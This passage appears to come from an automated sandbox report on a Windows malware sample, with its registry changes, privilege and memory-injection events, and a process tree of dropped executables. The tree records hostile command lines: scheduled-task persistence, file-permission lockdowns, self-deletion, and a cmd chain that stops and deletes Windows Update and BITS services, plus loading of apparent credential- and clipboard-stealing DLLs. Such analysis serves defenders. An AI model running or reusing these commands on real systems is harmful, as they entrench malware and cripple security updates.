Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e0031000000000081566d42100054656d7000003a0009000400efbe5456c795815673422e000000000000000000000000000000000000000000000000007d989a00540065006d007000000014000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

2780 Explorer.EXE

pid	process
2780	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exeExplorer.EXE

pid	process
5056	57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
5056	57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE
2780	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

2780 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe4C6D.exe

pid process

5056 57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
3108 4C6D.exe

pid	process
2780	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEpowershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeDebugPrivilege	3076	powershell.exe
Token: SeShutdownPrivilege	2224	powercfg.exe
Token: SeCreatePagefilePrivilege	2224	powercfg.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeShutdownPrivilege	2780	Explorer.EXE
Token: SeCreatePagefilePrivilege	2780	Explorer.EXE
Token: SeShutdownPrivilege	4588	powercfg.exe
Token: SeCreatePagefilePrivilege	4588	powercfg.exe
Token: SeShutdownPrivilege	4944	powercfg.exe
Token: SeCreatePagefilePrivilege	4944	powercfg.exe
Token: SeShutdownPrivilege	4624	powercfg.exe
Token: SeCreatePagefilePrivilege	4624	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3228	powershell.exe
Token: SeSecurityPrivilege	3228	powershell.exe
Token: SeTakeOwnershipPrivilege	3228	powershell.exe
Token: SeLoadDriverPrivilege	3228	powershell.exe
Token: SeSystemProfilePrivilege	3228	powershell.exe
Token: SeSystemtimePrivilege	3228	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exe

pid process

3656 rundll32.exe
5032 rundll32.exe
5044 rundll32.exe
3108 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

2780 Explorer.EXE
2780 Explorer.EXE

pid	process
3656	rundll32.exe
5032	rundll32.exe
5044	rundll32.exe
3108	rundll32.exe

pid	process
2780	Explorer.EXE
2780	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEE6DA.exeE91D.exeE91D.exeE6DA.exeE91D.exe1E38.exeE6DA.exe

description	pid	process	target process
PID 2780 wrote to memory of 4952	2780	Explorer.EXE	E6DA.exe
PID 2780 wrote to memory of 4952	2780	Explorer.EXE	E6DA.exe
PID 2780 wrote to memory of 4952	2780	Explorer.EXE	E6DA.exe
PID 2780 wrote to memory of 3256	2780	Explorer.EXE	E91D.exe
PID 2780 wrote to memory of 3256	2780	Explorer.EXE	E91D.exe
PID 2780 wrote to memory of 3256	2780	Explorer.EXE	E91D.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 4952 wrote to memory of 3680	4952	E6DA.exe	E6DA.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 3256 wrote to memory of 2496	3256	E91D.exe	E91D.exe
PID 2496 wrote to memory of 4648	2496	E91D.exe	icacls.exe
PID 2496 wrote to memory of 4648	2496	E91D.exe	icacls.exe
PID 2496 wrote to memory of 4648	2496	E91D.exe	icacls.exe
PID 2496 wrote to memory of 4408	2496	E91D.exe	E91D.exe
PID 2496 wrote to memory of 4408	2496	E91D.exe	E91D.exe
PID 2496 wrote to memory of 4408	2496	E91D.exe	E91D.exe
PID 3680 wrote to memory of 5036	3680	E6DA.exe	E6DA.exe
PID 3680 wrote to memory of 5036	3680	E6DA.exe	E6DA.exe
PID 3680 wrote to memory of 5036	3680	E6DA.exe	E6DA.exe
PID 2780 wrote to memory of 2472	2780	Explorer.EXE	1E38.exe
PID 2780 wrote to memory of 2472	2780	Explorer.EXE	1E38.exe
PID 2780 wrote to memory of 2472	2780	Explorer.EXE	1E38.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 4408 wrote to memory of 876	4408	E91D.exe	E91D.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 2472 wrote to memory of 2160	2472	1E38.exe	1E38.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe
PID 5036 wrote to memory of 4724	5036	E6DA.exe	E6DA.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Users\Admin\AppData\Local\Temp\57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe
  "C:\Users\Admin\AppData\Local\Temp\57829febf39ecb18c05698bf9731d1b747c0f05d8208a7742a973ae2cfb339fb.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:5056
- C:\Users\Admin\AppData\Local\Temp\E6DA.exe
  C:\Users\Admin\AppData\Local\Temp\E6DA.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Users\Admin\AppData\Local\Temp\E6DA.exe
    C:\Users\Admin\AppData\Local\Temp\E6DA.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Users\Admin\AppData\Local\Temp\E6DA.exe
      "C:\Users\Admin\AppData\Local\Temp\E6DA.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:5036
    - - C:\Users\Admin\AppData\Local\Temp\E6DA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E6DA.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4724
      - C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build2.exe
        
        "C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4748
        
        C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build2.exe
        
        "C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4280
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build2.exe" & exit
        8⤵
        
        PID:2204
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:2476
      - C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build3.exe
        
        "C:\Users\Admin\AppData\Local\87de70c6-4a32-4b02-8817-9d00962cc026\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3656
- C:\Users\Admin\AppData\Local\Temp\E91D.exe
  C:\Users\Admin\AppData\Local\Temp\E91D.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Users\Admin\AppData\Local\Temp\E91D.exe
    C:\Users\Admin\AppData\Local\Temp\E91D.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\efe00f3b-db9a-4497-9746-4dcd2e8205b4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4648
  - - C:\Users\Admin\AppData\Local\Temp\E91D.exe
      "C:\Users\Admin\AppData\Local\Temp\E91D.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4408
    - - C:\Users\Admin\AppData\Local\Temp\E91D.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E91D.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:876
      - C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build2.exe
        
        "C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build2.exe
        
        "C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4732
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build2.exe" & exit
        8⤵
        
        PID:5100
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4676
      - C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build3.exe
        
        "C:\Users\Admin\AppData\Local\9c29e69c-df61-4290-a721-285004ea3cc9\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4524
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3256
- C:\Users\Admin\AppData\Local\Temp\1E38.exe
  C:\Users\Admin\AppData\Local\Temp\1E38.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Users\Admin\AppData\Local\Temp\1E38.exe
    C:\Users\Admin\AppData\Local\Temp\1E38.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2160
  - - C:\Users\Admin\AppData\Local\Temp\1E38.exe
      "C:\Users\Admin\AppData\Local\Temp\1E38.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:2860
    - - C:\Users\Admin\AppData\Local\Temp\1E38.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1E38.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:432
      - C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build2.exe
        
        "C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:460
        
        C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build2.exe
        
        "C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build2.exe" & exit
        8⤵
        
        PID:4264
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4208
      - C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build3.exe
        
        "C:\Users\Admin\AppData\Local\e41241e7-7e73-4db5-b116-a8fa7911f9c9\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4316
- C:\Users\Admin\AppData\Local\Temp\4C6D.exe
  C:\Users\Admin\AppData\Local\Temp\4C6D.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3108
- C:\Users\Admin\AppData\Local\Temp\5690.exe
  C:\Users\Admin\AppData\Local\Temp\5690.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4260
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4760
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:3528
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1748
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:5104
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3896
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:3780
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:2356
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:756
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1932
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:4632
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:2348
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:1944
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1944 -s 644
        7⤵
        Program crash
        
        PID:3408
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4440
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:1196
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:3156
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:4432
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4764
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3992
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:3592
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:636
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5028
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:3868
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:4244
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        Modifies security service
        
        PID:2708
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:3164
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:4304
- C:\Users\Admin\AppData\Local\Temp\5BD1.exe
  C:\Users\Admin\AppData\Local\Temp\5BD1.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:1396
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      PID:1868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 1508
    3⤵
    - Program crash
    PID:3372
- C:\Users\Admin\AppData\Local\Temp\BDC8.exe
  C:\Users\Admin\AppData\Local\Temp\BDC8.exe
  2⤵
  - Executes dropped EXE
  PID:3736
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Otpsrodoserw.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    PID:4648
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 22391
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3656
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 22391
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:5032
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 22391
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:5044
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 22391
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3108
- - C:\Windows\SysWOW64\WerFault.exe
